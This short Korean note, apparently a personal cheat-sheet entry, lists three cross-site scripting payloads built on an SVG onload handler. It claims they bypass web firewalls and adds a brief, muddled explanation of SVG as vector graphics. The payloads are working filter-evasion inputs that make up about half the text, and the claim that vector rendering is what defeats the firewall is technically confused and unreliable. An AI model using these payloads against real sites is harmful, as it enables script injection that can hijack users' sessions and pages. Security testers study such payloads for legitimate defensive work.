svg/onload

xss"><!--><svg/onload=alert(document.domain)>
<!--><svg/onload=alert(document.domain)>
<svg/onload=alert(document.domain)>

svg 덕분에 방화벽을 우회 할 수 있다.

SVG(Scalable Vector Graphics)란?

JPG, PNG, GIF 등 많은 이미지 파일 형식이 있지만 SVG는 이미지를 표현하는 방식이 남들과는 다르다. 가장 큰 차이점은 다른 파일형식은 레스터 방식으로 이미지를 표현하는데 SVG 는 벡터화 된 그래픽 이미지라는 것이다,

 

벡터로 변화는 것을 이용해 방화벽을 우회 할 수 있다.